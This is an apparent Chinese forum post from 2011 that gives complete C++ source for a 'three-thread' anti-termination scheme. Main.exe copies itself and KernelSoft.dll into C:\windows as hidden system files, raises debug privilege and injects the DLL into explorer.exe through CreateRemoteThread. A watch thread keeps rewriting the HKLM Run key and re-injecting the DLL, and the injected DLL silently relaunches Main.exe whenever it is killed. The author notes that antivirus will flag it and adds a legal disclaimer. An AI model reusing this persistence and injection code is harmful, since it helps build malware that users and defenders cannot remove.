- UID
 - 70728
 
 注册时间2010-10-26
阅读权限20
最后登录1970-1-1
以武会友 
   
 
 
 
该用户从未签到  
 | 
 
 本帖最后由 liuqiangni 于 2011-3-29 17:18 编辑  
 
[前言] 
 无意中在网上看到了一个帖子关于三线程的问题,我觉得其思路十分巧妙,加之我学HOOK技术也有一段时间了,于是就想看看到底是怎么实现的,那帖子说的不十分清楚,说有源码的,在网上搜确实有源码存在,但是下载都要先注册,然后还有什么下载豆啊,什么的,反正就是不让你下.注册了几个号,都下载不了.在看雪上面搜了一下,倒是有一篇文章是关于三线程的,不过时Dephi写的,我没学Dephi,也就没有看他的文章. 
文章地址:http://bbs.pediy.com/showthread. ... %E7%A8%8B+%E7%A8%8B 
想着自己编程也这么久了,索性自己来写,于是就写了这篇文章出来,算是整理一下这些天的思路了吧! 
[原作者思路思路很巧妙,我很佩服](本人在上面花了很大功夫,关键代码绝对原创,特申请[精华]) 
 
我们有一个主进程Main.exe 和一个DLL文件 KernelSoft.DLL,  Main.exe启动的时候,会查看C:\\windows\\下面有没有我们的2个文件,如果没有就复制当前文件夹的文件过去,并设置为系统文件并隐藏,我们会查找我们注入的进程中有没有KernelSoft.dll,如果没有,那么表示我是第一次启动Main.exe,  我们注入KernelSoft..然后会创建一个线程Watch 监视注册表和远程线程.. 
 
Kernelsoft.dll 只做一件事,就是创建1个线程监视我们的Main.exe是否还存在于进程中,如果不存在,那么就启动Main.exe,实现防杀的功能,我们把DLL注入到Explorer.exe中,当然你也可以注入到几个进程中,或者注入到别的进程中,我这里只是演示,  文章中有些地方是直接硬编码的,方便一些,当然这些地方你都可以很容易的看到,并且修改,以便兼容你的电脑. 
 
Watch线程监视我们的开机启动项,如果该项被删除掉,它会立即重新写入注册表.并且如果你发现我们的Main.exe注入到explorer.exe后,你试图关闭explorer.exe,  那我会告诉你,关闭后,当explorer.exe再次出现的时候,我们的程序还是会注入到explorer.exe中的. 
下面给源码吧: 
我的注释还算比较详细的,尽量让大家都很容易的明白我在做什么. 
 
先给3个函数: 
在SourseHead.h中定义的 
 
- #include <Tlhelp32.h>
 
 - //提权
 
 - bool EnablePrivilege(char*PrivilegeName,BOOL IsEnable)
 
  
- {        
 
 -         HANDLE hToken;
 
 -         
 
 -         TOKEN_PRIVILEGES tp;
 
 -         
 
 -         LUID luid;        
 
 -         
 
 -         if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
 
 -                 
 
 -                 TOKEN_QUERY | TOKEN_READ,&hToken))
 
 -                 
 
 -         {
 
 -                 
 
 -                 return false;
 
 -                 
 
 -         }
 
 -                 
 
 -         if(!LookupPrivilegeValue(NULL, PrivilegeName, &luid))
 
 -                 
 
 -         {
 
 -                 
 
 -                 return false;
 
 -                 
 
 -         }
 
 -                 
 
 -         tp.PrivilegeCount           = 1;
 
 -         
 
 -         tp.Privileges[0].Luid       = luid;
 
 -         
 
 -         tp.Privileges[0].Attributes = (IsEnable) ? SE_PRIVILEGE_ENABLED : 0;        
 
 -         
 
 -         BOOL bSucc = AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);        
 
 -         
 
 -         CloseHandle(hToken);
 
 -         
 
 -         return (GetLastError() == ERROR_SUCCESS);
 
 -         
 
 - }
 
  
 
 
- //获取PID值
 
 - BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)//PID是我们要传出去的指针变量
 
 - {
 
 -   //变量及初始化
 
 -   STARTUPINFO st;
 
 -   PROCESS_INFORMATION pi;
 
 -   PROCESSENTRY32 ps;
 
 -   HANDLE hSnapshot;
 
 -   ZeroMemory(&st,sizeof(STARTUPINFO));
 
 -   ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
 
 -   st.cb = sizeof(STARTUPINFO);
 
 -   ZeroMemory(&ps,sizeof(PROCESSENTRY32));
 
 -   ps.dwSize = sizeof(PROCESSENTRY32);
 
 -   //遍历进程
 
 -   hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 
 -   if (hSnapshot == INVALID_HANDLE_VALUE)
 
 -   {
 
 -     return FALSE;
 
 -   }
 
 -   if (!Process32First(hSnapshot,&ps))
 
 -   {
 
 -     return FALSE;
 
 -   }
 
  
-   do 
 
 -   {
 
 -     //比较进程名
 
 -     if (lstrcmpi(ps.szExeFile,szProcessName) == 0) 
 
 -     {
 
 -       //找到了
 
 -       *lpPID = ps.th32ProcessID;
 
 -       CloseHandle(hSnapshot);
 
 -       return TRUE;
 
 -     }
 
 -   } while (Process32Next(hSnapshot,&ps));
 
 -   //没有找到
 
 -   CloseHandle(hSnapshot);
 
 -   return FALSE;
 
 - }
 
  
 
 
 
- //注入函数
 
 - //pid  我们的目标PID
 
 - //szMyDll  我们需要注入的DLL
 
 - HANDLE InjeckDll(DWORD pid,CString szMyDll)
 
 - {
 
 -         EnablePrivilege(SE_DEBUG_NAME,true);
 
 -         HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
 
 -         LPVOID Address = NULL;
 
 -         PSTR pszLibFileRemote  =(PSTR)VirtualAllocEx(hand,NULL,szMyDll.GetLength()+1,MEM_COMMIT,PAGE_READWRITE);
 
 -         ::WriteProcessMemory(hand,pszLibFileRemote,szMyDll.GetBuffer(0),szMyDll.GetLength()+1,NULL);
 
 -         HMODULE hmod  = ::GetModuleHandle("Kernel32");
 
 -         szMyDll.ReleaseBuffer();
 
 -         PTHREAD_START_ROUTINE point  = (PTHREAD_START_ROUTINE)::GetProcAddress(hmod,"LoadLibraryA");
 
  
-         //创建远程线程执行LoadLibraryA 注入我们自己的DLL文件
 
 -         HANDLE handr  = CreateRemoteThread(hand,NULL,0,point,(LPVOID)pszLibFileRemote,0,NULL);
 
 -         WaitForSingleObject(handr,INFINITE);
 
 -         
 
 -         EnablePrivilege(SE_DEBUG_NAME,false);//还原权限
 
 -         return handr;
 
  
- }
 
  
  复制代码 这3个函数想必大家都还是比较傲熟悉的,我就不多说了,如果有不懂的也可以Email问我, 
 
Email:[email protected] 
 
PYG_liuqiangni 
 
中间插点版权小广告好像是NBW 首创的,小弟只是算沿用了一下,呵呵 
 
 
我定义了几个宏 后面会用到,大家先看看 
//宏定义 部分字符串 
#define  DesName "explorer.exe" 
#define  DesMainName "C:\\windows\\Main.exe" 
#define  DesDllName "C:\\windows\\KernelSoft.dll" 
///////////////////////////////////////////////// 
 
下面给出 Watch线程 
- BOOL Watch(LPVOID pvparam)//这个参数没有什么用,是我刚开始的时候加的,就没有删掉
 
 - {
 
 -         HANDLE    wethread=(HANDLE)pvparam;
 
 -         HKEY              hkey;
 
 -         TCHAR             wtname[MAX_PATH] = "C:\\windows\\Main.exe";//这个是写入注册表的路径
 
 -         TCHAR             lpdata[MAX_PATH];  
 
 -         LPCTSTR           rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
 
 -         DWORD             type=REG_SZ;
 
 -         DWORD             dwbuflen=MAX_PATH;  
 
 -         int               ret;
 
  
-         while(1)
 
 -         {   
 
 -                 ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);//打开注册表
 
 -                 if(ret!=ERROR_SUCCESS)
 
 -                 {
 
 -                         OutputDebugString(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error\n"));//调试信息不用管
 
 -                         break;
 
 -                 }
 
 -                 ret=RegQueryValueEx(hkey,"Main.exe",NULL,NULL,(LPBYTE)lpdata,&dwbuflen);//查找有没有Main.exe
 
 -                 RegCloseKey(hkey);
 
 -                 if(ret!=ERROR_SUCCESS)
 
 -                 {
 
 -                         ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
 
 -                         if(ret!=ERROR_SUCCESS)
 
 -                         {
 
 -                                 OutputDebugString(_T("RegOpenKeyEx for KEY_WRITE Error\n"));
 
 -                                 break;
 
 -                         }
 
 -                         //如果没有就重新写入我们的Main.exe
 
 -                         ret=RegSetValueEx(hkey,"Main.exe",NULL,type,(const byte *)wtname,dwbuflen);
 
 -                         RegCloseKey(hkey);
 
 -                         if(ret!=ERROR_SUCCESS)
 
 -                         {
 
 -                                 OutputDebugString(_T("RegSetValueEx Error\n"));
 
 -                                 break;
 
 -                         }
 
 -                 }
 
 -         
 
 -                 
 
 -                         //下面的代码表示如果explorer.exe中没有我们的模块,我们重新注入
 
 -                         DWORD pid =0;
 
 -                         GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
 
 -                         HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
 
 -                         if (!EnumMoudle(DesProcess,"KernelSoft.dll"))//自定义函数,查找模块
 
 -                         {
 
 -                                 InjeckDll(pid,DesDllName);//自定义函数,注入
 
 -                         }
 
 -                                 
 
  
-         
 
 -                 Sleep(1000);        
 
 -         }
 
 -         return 0;
 
 -         
 
  
- }
 
 
  复制代码 [COLOR="red"]下面给出设置文件属性并复制文件的函数:(注释也很清楚了)[/COLOR] 
- //在Windows下寻找我自己的模块,找不到就复制我自己的模块过去
 
 - /*
 
 - LookFileName[]    Windows下的模块C:\\windows\\Main.exe
 
 - name[]                将要复制到C盘的模块的地址,就是当前文件夹的路径
 
  
- */
 
 - void SetFile(char LookFileName[],char name[])
 
 - {
 
 -         BOOL sign = FALSE;  //是否找到我需要的文件
 
 -         CFileFind ff;
 
 -         BOOL work = ff.FindFile("C:\\windows\");//查找的文件路径,我是硬编码的
 
 -         while(work)
 
 -         {
 
 -                 work = ff.FindNextFile();
 
 -                 CString filepath = ff.GetFilePath();//得到文件的完整路径
 
 -                 CString MainName;
 
 -                 MainName.Format("%s",LookFileName);
 
 -                 if (filepath == MainName)
 
 -                 {
 
 -                         sign = TRUE;
 
 -                         break;
 
 -                 }
 
 -         
 
 -         }
 
 -         ff.Close();
 
 -         if (!sign)//如果没找到,那么复制我自己的文件过去
 
 -         {
 
 -                 
 
 -                 CopyFile(name,LookFileName,FALSE);//把文件复制到C:\\windows下
 
 -                 //设置文件属性
 
 -                 SetFileAttributes(LookFileName,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
 
 -                 
 
 -         }
 
 -         
 
 -         
 
  
- }
 
  
  复制代码 上面的查找文件的代码在我写U盘偷窥者的时候也有用到,不过那个比这个复杂,不是很清楚的同学可以看看我以前的文章 
U盘偷窥者的地址:  http://bbs.pediy.com/showthread.php?t=127663 
 
下面给出遍历模块的函数: 
这次我没有用CreateToolhelp32Snapshot,因为那个用过很多次了,要有新的尝试才会进步嘛 
所以我用了两个我不是很熟习的函数EnumProcessModules和GetModuleBaseName 
大家不懂的可以上Google 或Msdn上面查查. 
[COLOR="red"]注意:这几个函数要#pragma   comment(lib,"Psapi.lib") 还要有头文件 
 
#include <Psapi.h>[/COLOR] 
 
- //遍历模块
 
 - BOOL EnumMoudle(HANDLE DesProcess,char MoudleName[])
 
 - {
 
 -         HMODULE hmod[MAX_PATH];
 
 -         DWORD dwMod;
 
 -         char BaseName[MAX_PATH];
 
 -         EnumProcessModules(DesProcess,hmod,sizeof(hmod),&dwMod);
 
 -         for (int i = 0;hmod[i]!=0;i++)
 
 -         {
 
 -                 GetModuleBaseName(DesProcess,hmod[i],BaseName,MAX_PATH);
 
 -                 if(stricmp(MoudleName,BaseName)==0)
 
 -                         return TRUE;
 
 -         }
 
 -         return FALSE;
 
 - }
 
 
  复制代码 现在给出主要的函数,他调用这一切的子函数.... 
- void InitiaMain()     //相当于初始化工作,我们后面的函数都是在这里面调用的
 
 - {
 
 -         HANDLE g_Hthread;
 
 -         
 
 -         DWORD idthread;
 
 -         DWORD pid =0;
 
 -         char MainPath[MAX_PATH];
 
 -         char DLLPath[MAX_PATH];
 
 -         //复制我们的2个文件到C:\\windows\\下面
 
 -         GetModuleFileName(NULL,MainPath,MAX_PATH);
 
 -         SetFile(DesMainName,MainPath);
 
 -         GetCurrentDirectory(MAX_PATH,DLLPath);
 
 -         strcat(DLLPath,"\\KernelSoft.dll");
 
 -         SetFile(DesDllName,DLLPath);
 
  
-         GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
 
 -         HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
 
 -         if (!EnumMoudle(DesProcess,"KernelSoft.dll"))
 
 -         {//如果我们的模块不存在目标进程中,那么重新注入
 
 -                 g_Hthread=InjeckDll(pid,DesDllName);
 
 -         
 
 -         }
 
 -         //创建监视线程Watch
 
 -         HANDLE wehand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Watch,(LPVOID)g_Hthread,0,&idthread);
 
 - }
 
  
  复制代码 [COLOR="red"]下面我们来看我们的 kernelSoft.dll模块的代码 
//KernelSoft.cpp 
//这里注释得还算清楚[/COLOR] 
- #include "stdafx.h"
 
 - #include <Tlhelp32.h>
 
  
 
 
- //***********************
 
 - //全局数据区
 
 - HMODULE g_hmod = NULL;
 
 - DWORD g_idthread;
 
 - //***********************
 
 - //函数区
 
 - void WatchMainProcess();
 
 - BOOL FindMainProcess(LPSTR szProcessName);
 
 - //***********************
 
 - //我们的主函数
 
 - BOOL APIENTRY DllMain( HMODULE hMod,
 
 -                       DWORD  ul_reason_for_call,
 
 -                       LPVOID lpReserved
 
 -                       )
 
 - {
 
 -         if( DLL_PROCESS_ATTACH == ul_reason_for_call )
 
 -         {
 
 -                 g_hmod = hMod;
 
 -                 HANDLE hand  = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WatchMainProcess,(LPVOID)NULL,0,&g_idthread);
 
  
-         }
 
 -         else if( DLL_PROCESS_DETACH == ul_reason_for_call )
 
 -         {
 
  
-         }
 
  
-         
 
 -         return TRUE;
 
 - }
 
  
- void WatchMainProcess()
 
 - {
 
  
-         while (1)
 
 -         {
 
 -         if (!FindMainProcess("Main.exe"))//我们的主线程是Main.exe
 
 -         {
 
 -                 WinExec("C:\\Windows\\Main.exe",SW_HIDE);
 
  
-         }
 
 -         Sleep(500);        
 
 -         }
 
  
- }
 
  
- BOOL FindMainProcess(LPSTR szProcessName)
 
 - {
 
 -         //变量及初始化
 
 -         STARTUPINFO st;
 
 -         PROCESS_INFORMATION pi;
 
 -         PROCESSENTRY32 ps;
 
 -         HANDLE hSnapshot;
 
 -         ZeroMemory(&st,sizeof(STARTUPINFO));
 
 -         ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
 
 -         st.cb = sizeof(STARTUPINFO);
 
 -         ZeroMemory(&ps,sizeof(PROCESSENTRY32));
 
 -         ps.dwSize = sizeof(PROCESSENTRY32);
 
 -         //遍历进程
 
 -         hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 
 -         if (hSnapshot == INVALID_HANDLE_VALUE)
 
 -         {
 
 -                 return FALSE;
 
 -         }
 
 -         if (!Process32First(hSnapshot,&ps))
 
 -         {
 
 -                 return FALSE;
 
 -         }
 
 -         
 
 -         do 
 
 -         {
 
 -                 //比较进程名
 
 -                 if (lstrcmpi(ps.szExeFile,szProcessName) == 0)  //查找我们的进程,如果没有就启动主进程
 
 -                 {
 
 -                         //找到了
 
 -                         CloseHandle(hSnapshot);
 
 -                         return TRUE;
 
 -                 }
 
 -         } while (Process32Next(hSnapshot,&ps));
 
 -         //没有找到        
 
 -         CloseHandle(hSnapshot);
 
 -         return FALSE;
 
 - }
 
  
 
 
  复制代码 这样我们的三线程防杀就完成了,写了一下午,手都写麻了,大家看了,就给点评价吧. 
 
[COLOR="red"]因为本代码有病毒或者木马的一些特征,杀毒软件肯定会报毒.本软件没有实质性的功能,只是作为一种思路的交流. 
声明:  本代码仅作为技术交流,请勿用于非法用途,因为本代码造成的任何后果,作者不承担任何责任,如果你不同意,请不要使用本代码,谢谢.[/COLOR] 
 
附件在后面,也有详细的注释... 
 
 
 
} 
 
[/CODE] |   
 
评分
- 
查看全部评分
 
 
 
 
 
 |